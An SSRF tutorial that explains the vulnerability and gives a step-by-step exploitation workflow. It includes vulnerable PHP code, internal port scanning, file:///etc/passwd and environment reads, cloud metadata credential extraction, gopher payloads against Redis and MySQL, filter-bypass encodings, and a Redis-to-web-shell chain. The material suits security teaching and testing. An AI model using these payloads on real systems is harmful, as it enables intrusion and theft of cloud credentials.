SSRF Attacks

SSRF Attacks

Server-Side Request Forgery (SSRF) occurs when an application allows user-controlled input to trigger server-side HTTP requests. Instead of the attacker sending the request directly, the vulnerable server sends it on the attacker’s behalf. This enables attackers to access internal services, metadata endpoints, local files, and private networks that are normally inaccessible from the outside.

SSRF is extremely powerful because internal networks often trust the server’s own IP, giving the attacker privileged access to backend systems.

How SSRF Works

Many applications fetch remote resources such as:

  • URLs for image processing

  • Webhooks

  • API callbacks

  • PDF or file import

  • Server-to-server integrations

  • OAuth redirects

  • Payment verification endpoints

  • Social media preview generators

If the attacker can control the URL, they can force the server to request any address they choose.

Example vulnerable parameter:

?url=http://example.com/image.png

Backend code:

file_get_contents($_GET['url']);

If attacker supplies:

?url=http://127.0.0.1:8080/admin

The server requests an internal admin panel that is not exposed publicly.

Where SSRF Commonly Appears

Look for features that load remote content:

  • “Upload by URL”

  • “Fetch remote image”

  • “Preview link”

  • “Webhook callback tester”

  • “URL-based data import”

  • “Metadata refresh”

  • “PDF generation from URL”

  • “OpenAPI / Swagger URL import”

Any functionality that accepts a URL input is a possible SSRF target.

Types of SSRF

Basic SSRF

Attacker directly controls the URL:

?url=http://internal-system:8080

Blind SSRF

No direct output, but attacker can observe side effects:

  • Time delays

  • DNS lookups

  • Outbound traffic logs

SSRF to File Access

Using URL wrappers such as:

?url=file:///etc/passwd

If allowed, server returns the file contents.

SSRF to Protocol Abuse

If the server accepts multiple protocols:

  • http://

  • https://

  • file://

  • ftp://

  • gopher://

  • dict://

SSRF becomes significantly more dangerous.

SSRF to Cloud Metadata Service Access

Cloud providers expose metadata at internal IPs:

  • AWS: http://169.254.169.254/latest/meta-data/

  • Google Cloud: http://metadata.google.internal/computeMetadata/v1/

  • Azure: http://169.254.169.254/metadata/instance

Accessing metadata often leaks:

  • IAM roles

  • API keys

  • access tokens

  • instance credentials

Which leads directly to cloud takeover.

Practical SSRF Discovery Workflow

Step 1: Identify URL Parameters

Test requests such as:

?url=
?imageUrl=
?dest=
?redirect=
?feed=
?callback=
?open=

Replace with controlled values and observe behavior.

Step 2: Test With Your Own Server

Start a server on your machine:

python3 -m http.server 8000

Inject:

?url=http://YOUR-IP:8000

If your server logs a request, SSRF exists.

Step 3: Explore Internal IPs

Test common internal ranges:

http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
http://192.168.0.1
http://10.0.0.1

Check response differences to determine open ports.

Step 4: Port Scanning Through SSRF

Use the vulnerable server as a scanner by requesting:

http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379

Behavior changes reveal:

  • open ports

  • closed ports

  • filtered ports

Step 5: Access Cloud Metadata

Try:

http://169.254.169.254/latest/meta-data/

If successful, enumerate keys:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

Extract credentials:

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

This often leads to full cloud account compromise.

Step 6: File-Based SSRF

Attempt:

file:///etc/passwd
file:///proc/self/environ

If file contents appear, LFI + SSRF is confirmed.

Step 7: Out-of-Band SSRF Testing

If no direct output:

Use DNS logging platforms (e.g., Burp Collaborator).

Inject:

http://YOUR-DOMAIN.interact.sh

If a callback occurs → blind SSRF confirmed.

Advanced SSRF Payloads

Gopher Protocol RCE

Gopher allows raw TCP communication.

Example MySQL login brute attempt:

gopher://127.0.0.1:3306/_<raw-mysql-payload>

Redis Injection via SSRF

Force write commands:

gopher://127.0.0.1:6379/_SET pwned 1

If Redis has no authentication, this leads to remote manipulation.

PHAR Deserialization Trigger

If application processes phar://:

phar://path/to/malicious.phar

Leads to PHP object deserialization.

URL Encoding Bypass

Filters like http:// only can be bypassed via encoding:

hTtP:// -> mixed case  
http:@localhost/path  
\\127.0.0.1

Double encoding:

http:%252f%252flocalhost

Common SSRF Bypass Techniques

Schema Obfuscation

http:////localhost
http:/localhost

DNS Rebasing

Point attacker domain to internal IP:

internal.attacker.com -> 127.0.0.1

Then request:

http://internal.attacker.com

IP Decimal, Octal, Hex Encodings

Decimal IPv4:

http://2130706433

Hex:

http://0x7f000001

Octal:

http://017700000001

All resolve to 127.0.0.1.

IPv6 Shortcuts

http://[::ffff:127.1]

Bypasses IPv4-only filters.

Burp Parameter Pollution

url=http://safe.com?redirect=http://127.0.0.1

Real-World SSRF Exploitation Scenarios

Accessing Internal Admin Panels

?url=http://localhost/admin

Extracting Database Information

?url=http://127.0.0.1:3306/

Interacting With Internal APIs

?url=http://127.0.0.1:8000/api/v1/users

Dumping Cloud Credentials

?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Achieving Remote Code Execution Through Chain Attacks

  1. SSRF hits internal Redis

  2. Redis writes to webroot

  3. Web shell created

  4. RCE achieved

SSRF almost always enables chaining with other internal vulnerabilities.

Intel Dump

  • SSRF forces the server to make attacker-controlled requests.

  • Used to access internal hosts, ports, files, and cloud metadata endpoints.

  • Testing includes probing localhost, private IP ranges, encoded URLs, and alternative protocols.

  • Blind SSRF is detected via DNS callbacks or time-based behavior.

  • Advanced payloads allow gopher-based RCE, Redis injection, and internal port scanning.

  • Impact includes internal network access, credential theft, cloud takeover, and full system compromise.

HOME COMMUNITY CAREERS DASHBOARD